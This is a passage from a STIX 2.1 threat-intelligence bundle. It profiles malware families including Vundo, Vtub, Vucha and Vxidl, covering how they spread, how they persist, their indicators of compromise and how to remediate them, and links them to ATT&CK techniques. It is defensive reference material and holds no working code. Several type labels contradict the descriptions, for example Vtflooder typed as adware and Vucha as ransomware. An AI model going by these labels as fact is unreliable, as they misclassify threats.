      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Vrbrothers exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--fd4e50da-464f-551f-a591-631ef1863507",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Vstoolbar",
      "description": "Adware:Win32/Vstoolbar is a category of intrusive advertising software that hijacks browser functionality, injects unwanted advertisements, and severely degrades the user experience to generate illicit affiliate revenue (`T1189`). While often classified as a Potentially Unwanted Program (PUP) rather than a destructive trojan, Vstoolbar poses significant security risks by exposing users to malvertising networks and compromising endpoint stability.<br><br><b>Understanding Vstoolbar (Adware & Browser Hijacking)</b><br>To an end-user, the infection is highly visible: their browser homepage changes without consent, search queries are redirected to unfamiliar engines, and intrusive pop-up ads appear even when not browsing the web. For an IT department, Vstoolbar represents a major source of helpdesk tickets, productivity loss, and a failure of perimeter security (as it is usually downloaded via deceptive installers).<br><br><b>Execution and Hijacking Mechanics</b><br>Vstoolbar is almost always distributed via 'bundling'\u2014hidden inside the installers of 'free' software, PDF converters, or media players downloaded from third-party sites (`T1204.002`). During installation, if the user doesn't uncheck hidden boxes, the adware is installed. It establishes persistence via Registry Run keys (`T1547.001`) or as a malicious browser extension (`T1176`). Once active, it manipulates DNS settings or proxies web traffic locally to inject its own ads over legitimate websites.<br><br><b>Indicators of Compromise & Impact</b><br>The primary impact is a severe degradation of the user experience and potential exposure to secondary malware via malicious ads. Host-based IoCs include the presence of unknown browser extensions, modifications to the `HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run` registry key pointing to obscure executables in `%AppData%`, and unexpected changes to the browser's default search provider. Network IoCs include continuous background traffic to known adware tracking domains and advertising networks. (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Vstoolbar",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/vstoolbar"
        }
      ],
      "labels": [
        "trojan",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--d096de99-58b4-5ea5-92b2-56363fd96923",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--fd4e50da-464f-551f-a591-631ef1863507",
      "target_ref": "attack-pattern--4054acd0-ca17-521d-b3cb-772b441a9f32",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Vstoolbar exhibits technique T1189 (Drive-by Compromise (Frequently associated with malvertising networks pushed by the adware))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--b5968550-9f67-5a32-b5bc-931c11bfcabe",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--fd4e50da-464f-551f-a591-631ef1863507",
      "target_ref": "attack-pattern--dbcdb63c-3a8a-513b-a873-7b9d45a44f59",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Vstoolbar exhibits technique T1176 (Browser Extensions (Installing malicious add-ons to control web traffic))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--b5dcc34b-5aa8-548e-811d-d492a9254eda",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--fd4e50da-464f-551f-a591-631ef1863507",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Vstoolbar exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys (Ensuring the adware launcher runs on boot))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--2e24d31b-bf27-537e-a72f-68f4aba736b1",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Vtflooder",
      "description": "VtFlooder (tracked across enterprise threat intelligence as Trojan:Win32/VtFlooder, Tool:Win32/VtFlooder, and Spammer:Win32/VtFlooder) is an automated cloud submission flooding utility and reputation poisoning tool analyzed by Microsoft Defender and Trend Micro. VtFlooder was engineered by underground cybercrime actors and crypter developers to repeatedly submit dummy, modified, or synthetic PE binaries to public cloud multiscanner APIs (such as VirusTotal) via automated REST interface calls. By rotating egress HTTP/SOCKS proxies and dynamically mutating binary hashes while embedding decoy benign metadata strings, VtFlooder attempts to exhaust API ingestion rate limits, pollute vendor automated machine-learning classifiers, and manipulate detection consensus metrics. The tool contains multi-threaded network workers, an embedded list of public proxy nodes, and routines to generate random entropy padded files to overwhelm cloud sandbox queues. System defenders monitor for high-frequency automated HTTP API transmissions from unauthorized internal endpoints. (Observed samples in benchmark: 12,150)",
      "is_family": true,
      "malware_types": [
        "adware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan:Win32/VtFlooder",
        "Tool:Win32/VtFlooder",
        "Spammer:Win32/VtFlooder",
        "Tool.Win32.VtFlooder",
        "Troj/VtFlood"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Vtflooder",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/vtflooder"
        }
      ],
      "labels": [
        "pua_tool",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--3f82ed43-2bf9-5a23-81a9-13be7a4efafd",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--2e24d31b-bf27-537e-a72f-68f4aba736b1",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Vtflooder exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--9722e593-1871-5776-b7f5-87f91ff1cab6",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--2e24d31b-bf27-537e-a72f-68f4aba736b1",
      "target_ref": "attack-pattern--9561e493-14f3-5fcb-a83c-f95649da6548",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Vtflooder exhibits technique T1071.001 (Application Layer Protocol: Web Protocols)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--5722c850-3364-54d8-aef3-f7a04d55c26d",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--2e24d31b-bf27-537e-a72f-68f4aba736b1",
      "target_ref": "attack-pattern--cc845d08-6fc5-5758-8728-20ef39b3945b",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Vtflooder exhibits technique T1090.003 (Proxy: Multi-hop Proxy)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--21888c69-bb73-5d53-bef6-562d32ab06af",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--2e24d31b-bf27-537e-a72f-68f4aba736b1",
      "target_ref": "attack-pattern--396f7941-9fec-5f68-b4e7-7a48c32464f4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Vtflooder exhibits technique T1027.001 (Obfuscated Files or Information: Binary Padding)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--497194f6-8e97-5bdf-8635-45c18f1031b1",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--2e24d31b-bf27-537e-a72f-68f4aba736b1",
      "target_ref": "attack-pattern--de90bafb-778c-5ec0-a6f3-6def0998c61c",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Vtflooder exhibits technique T1498.001 (Network Denial of Service: Direct Network Flood)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--9476588d-70af-5a9b-ab82-b468b1d9ced4",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--2e24d31b-bf27-537e-a72f-68f4aba736b1",
      "target_ref": "attack-pattern--07f2a5f1-0132-5a8d-8dbb-fae899993f56",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Vtflooder exhibits technique T1562.001 (Impair Defenses: Disable or Modify Tools)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--249f829e-b2ae-54f2-ad8f-c44e845af02b",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Vtub",
      "description": "<h3>Executive Summary</h3>\nVtub is a malicious network worm designed to propagate rapidly across local area networks (LANs) and removable media. While it frequently serves as a \"dropper\" for secondary payloads (such as botnet agents or adware), its primary function is self-replication. Vtub relies on exploiting weak network configurations and legacy Windows features to achieve maximum saturation within a target environment.\n\n<h3>Propagation and Execution Lifecycle</h3>\nVtub utilizes a multi-pronged approach to maximize its infection radius within an organization.\n\nIts execution lifecycle relies on exploiting network trust:\n<ul>\n<li><strong>Network Share Exploitation:</strong> Vtub aggressively scans the local network for open Server Message Block (SMB) network shares. It attempts to brute-force weak administrator credentials or exploit misconfigured permissions to silently copy its executable to adjacent servers and workstations.</li>\n<li><strong>Removable Media Propagation:</strong> The worm actively monitors the system for newly inserted USB flash drives. When a drive is detected, it copies itself to the root directory and creates a malicious `AutoRun.inf` file to ensure it executes automatically when the drive is inserted into a new machine.</li>\n<li><strong>Persistence and Modification:</strong> Once active on a host, Vtub modifies the Windows Registry (e.g., adding entries to the `Run` key) to establish persistence. It frequently alters system policies to disable Task Manager and Registry Editor, hindering manual removal and analysis.</li>\n</ul>\n\n<h3>Threat Assessment</h3>\nA Vtub infection is highly disruptive. Because of its aggressive worm capabilities, a single infected endpoint can lead to the rapid infection of hundreds of machines across the enterprise, causing network congestion. The ability of the worm to act as a dropper for secondary, more severe malware elevates this to a high-risk security event.\n\n<h3>Eradication and Incident Response</h3>\n<ul>\n<li><strong>Immediate Network Segmentation:</strong> Do not just isolate the initially infected machine. Physically or logically segment the affected VLAN to halt the lateral spread of the worm via open SMB shares.</li>\n<li><strong>Disable AutoRun/AutoPlay:</strong> Enforce strict Group Policy Objects (GPOs) that entirely disable AutoRun and AutoPlay functionality across all drives in the enterprise to prevent the USB propagation vector.</li>\n<li><strong>Enterprise-Wide Sweeps:</strong> Conduct a massive forensic sweep across all endpoints and network shares to identify the Vtub executable, remove its persistence mechanisms, and repair the damaged registry keys (restoring access to Task Manager).</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Worm.Vtub",
        "W32/Vtub",
        "NetWorm.Vtub"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Vtub",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/vtub"
        }
      ],
      "labels": [
        "advanced_threat",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--f99b1181-ad00-584c-98cd-bd88f8424e2d",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--249f829e-b2ae-54f2-ad8f-c44e845af02b",
      "target_ref": "attack-pattern--6ba42f78-216a-57bb-8f7c-b5271692217a",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Vtub exhibits technique T1091 (Replication Through Removable Media (The core propagation mechanism using autorun.inf))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--d9ab1189-39b3-58db-8f0e-7636d12451db",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--249f829e-b2ae-54f2-ad8f-c44e845af02b",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Vtub exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--e2b8a823-5cc8-57da-bb68-2c5d3f410be5",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--249f829e-b2ae-54f2-ad8f-c44e845af02b",
      "target_ref": "attack-pattern--cc0b5894-87c7-5a25-90e8-09cb9907d5d4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Vtub exhibits technique T1564.001 (Hide Artifacts: Hidden Files and Directories (Hiding the real folders))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--9073c987-a512-5b02-9cf3-43bf9d1e6d24",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--249f829e-b2ae-54f2-ad8f-c44e845af02b",
      "target_ref": "attack-pattern--f610f9c7-f371-50da-a04d-35ef5c472e9a",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Vtub exhibits technique T1059 (Command and Scripting Interpreter)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--99523aab-8c3a-5d87-ad3a-26ea2504219a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Vucha",
      "description": "Trojan:Win32/Vucha is a persistent, stealthy trojan designed to breach endpoint defenses and securely deliver secondary, high-severity payloads like ransomware, banking trojans, and botnet agents, or act as a persistent backdoor.<br><br><b>Understanding Vucha</b><br>To an end-user, a Vucha infection is typically invisible until the devastating secondary payload executes. For threat intelligence analysts, Vucha is a critical staging mechanism. It functions as an 'Initial Access Broker' tool. Its primary objective is to securely bypass endpoint defenses, profile the infected machine to ensure it is not a sandbox, and reach out to a Command-and-Control (C2) server to pull down the final, destructive payload.<br><br><b>Execution and Evasion Strategies</b><br>Vucha is commonly distributed via massive malspam campaigns containing weaponized attachments (like ZIP files or Office macros) or through exploit kits. Upon execution, it utilizes heavy packing and dynamic API resolution to evade static antivirus signatures. It drops a randomized executable into the `%Temp%` or `%AppData%` directory. It establishes persistence by creating a hidden scheduled task or modifying the Registry Run keys. Vucha frequently injects its downloading routine into legitimate system processes (like `explorer.exe` or `svchost.exe`) to mask its outbound network traffic.<br><br><b>Indicators of Compromise (IoCs)</b><br>Threat hunters should investigate EDR alerts related to 'Suspicious Process Injection' or 'Anomalous Child Process Spawning'. Network logs will often reveal Vucha reaching out to compromised domains using encrypted HTTPS traffic. The presence of unexpected, hidden scheduled tasks designed to execute randomly named binaries in the user's profile is a strong IoC. Memory analysis is necessary to extract the injected downloader modules and determine what payloads were requested. (Observed samples in benchmark: 3)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Vucha",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/vucha"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--f30d3665-e3f1-5b5a-b2ba-321b8067fdf6",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--99523aab-8c3a-5d87-ad3a-26ea2504219a",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Vucha exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--4d2419e6-ee08-5d35-b643-bad1c2a991b5",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--99523aab-8c3a-5d87-ad3a-26ea2504219a",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Vucha exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--7e285b51-d2d0-5725-9916-3ca8509c0fd1",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--99523aab-8c3a-5d87-ad3a-26ea2504219a",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Vucha exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--afd52e43-6919-59a3-96ed-792eea435c81",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--99523aab-8c3a-5d87-ad3a-26ea2504219a",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Vucha exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--e5b00e34-d2c4-5a66-bbcd-c37885c38bd3",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--99523aab-8c3a-5d87-ad3a-26ea2504219a",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Vucha exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--01df6bbe-a984-5550-a4ba-579752d38b47",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Vundo",
      "description": "Vundo (also universally known across the cybersecurity industry as Virtumonde, Trojan:Win32/Vundo, and Trojan.Vundo) is a historic, landmark Windows trojan and rogue adware framework that affected millions of corporate and consumer systems worldwide from 2004 through the early 2010s. Known for its sophisticated self-protection mechanisms, Vundo operated via interlocking DLL pairs injected into winlogon.exe and explorer.exe, with watchdog threads that immediately restored any component terminated by administrators or security software. Vundo hijacked Browser Helper Objects (BHOs), intercepted web browsing traffic, and generated relentless pop-up advertisements aggressively promoting rogue security software (scareware) such as SystemDoctor and WinFixer. It degraded endpoint performance, corrupted network protocol stacks (Winsock), and required specialized anti-rootkit utilities to achieve complete remediation. (Observed samples in benchmark: 70)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan:Win32/Vundo",
        "Trojan.Vundo",
        "Win32.Virtumonde",
        "Virtumonde",
        "Trojan.Win32.Vundo"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Vundo",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/vundo"
        }
      ],
      "labels": [
        "trojan",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--f6d7d435-db5c-51d5-a7e5-a22d06807ac3",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--01df6bbe-a984-5550-a4ba-579752d38b47",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Vundo exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--abf231bb-d845-5cf9-8252-69b612abc965",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--01df6bbe-a984-5550-a4ba-579752d38b47",
      "target_ref": "attack-pattern--07f2a5f1-0132-5a8d-8dbb-fae899993f56",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Vundo exhibits technique T1562.001 (Impair Defenses: Disable or Modify Tools)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--4f5a958c-0353-5565-a9c0-8423945e5709",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--01df6bbe-a984-5550-a4ba-579752d38b47",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Vundo exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--ed5f7683-152c-5c87-926f-200191ebea39",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--01df6bbe-a984-5550-a4ba-579752d38b47",
      "target_ref": "attack-pattern--9617cd1a-5a22-5e0a-a624-97dbf59822df",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Vundo exhibits technique T1112 (Modify Registry)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--512a727a-1e77-5e8c-bebc-905ba7cddf60",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--01df6bbe-a984-5550-a4ba-579752d38b47",
      "target_ref": "attack-pattern--3e454648-d3ff-52aa-9384-1ac06a79ec48",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Vundo exhibits technique T1489 (Service Stop)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--d4758675-0ebc-5992-9691-ab60215316d4",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Vxidl",
      "description": "<h3>Executive Summary</h3>\nVxidl (often detected as VBS/Vxidl or Virus.VBS.Vxidl) is a classification for legacy script-based viruses and worms, typically written in VBScript (Visual Basic Script) or utilizing Microsoft's Interface Definition Language (IDL) components. While less sophisticated than modern compiled malware, these scripts are highly destructive, designed to rapidly propagate across local networks and aggressively sabotage the host operating system.\n\n<h3>Infection Vector and Technical Capabilities</h3>\nVxidl variants primarily propagate through email (as malicious attachments pretending to be documents or images) or by copying themselves to mapped network drives and removable media (USB drives).\n\nUpon execution by the Windows Script Host (`wscript.exe`), the malware operates rapidly:\n<ul>\n<li><strong>Mass Mailing (Worm Functionality):</strong> Similar to early macro viruses, Vxidl often accesses the Microsoft Outlook Address Book via COM objects, silently emailing copies of itself to all of the victim's contacts to fuel exponential spread.</li>\n<li><strong>File Overwriting and Vandalism:</strong> The core payload is often purely destructive. The script recursively searches local and network drives for specific file types (like `.doc`, `.xls`, `.jpg`, or `.mp3`) and overwrites their contents with malicious VBScript code, effectively destroying the original data while turning the files into new infection vectors.</li>\n<li><strong>System Instability:</strong> Vxidl frequently modifies the Windows Registry (e.g., altering `HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Run`) to ensure it executes on startup. It may also intentionally delete critical system files to render the OS unbootable.</li>\n</ul>\n\n<h3>Threat Assessment</h3>\nWhile modern email gateways and hardened Windows configurations (which restrict the execution of unsigned VBScripts) mitigate the spread of Vxidl, an infection within an unpatched network is catastrophic. The file-overwriting payload causes permanent data loss that cannot be reversed without offline backups.\n\n<h3>Remediation and Eradication</h3>\n<ul>\n<li><strong>Script Execution Policies:</strong> The most effective defense against Vxidl and similar script-based threats is to enforce strict Group Policies that disable the Windows Script Host or restrict the execution of `.vbs`, `.js`, and `.wsh` files associated with `wscript.exe`.</li>\n<li><strong>Network Containment:</strong> Immediately disconnect infected machines from the network to halt the worm's propagation via SMB shares and outbound email.</li>\n<li><strong>Data Restoration:</strong> Because the malware overwrites file contents rather than simply hiding or encrypting them, files \"infected\" by Vxidl are generally destroyed and must be restored from a secure backup.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "VBS.Vxidl",
        "Virus.VBS.Vxidl",
        "Worm.VBS"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Vxidl",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/vxidl"
        }
      ],
      "labels": [
        "advanced_threat",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--84ee1a94-fd75-5d02-bbbe-8f7eceb28036",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--d4758675-0ebc-5992-9691-ab60215316d4",
      "target_ref": "attack-pattern--4a2de5a3-e5b3-59c0-9f8f-c714683837e2",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Vxidl exhibits technique T1059.005 (Command and Scripting Interpreter: Visual Basic (VBScript within the ASP file))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--4113eb36-06d0-5ef4-9c32-464377960d6c",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--d4758675-0ebc-5992-9691-ab60215316d4",
      "target_ref": "attack-pattern--a1097f7e-2aee-5bd4-ba08-a98048ff4e08",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Vxidl exhibits technique T1485 (Data Destruction)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--d53a51df-9f33-5315-8067-e678f42bd41b",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--d4758675-0ebc-5992-9691-ab60215316d4",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Vxidl exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--86f29b11-eb56-594c-8e8c-f391df3ba132",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--d4758675-0ebc-5992-9691-ab60215316d4",
      "target_ref": "attack-pattern--9a4d8a61-c2a1-5639-9950-ed28aaba5705",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Vxidl exhibits technique T1114.003 (Email Forwarding Rule)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--fdfe6ab0-76a7-5701-94a0-8156a6dc0812",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Vz2Au4Dpceii",
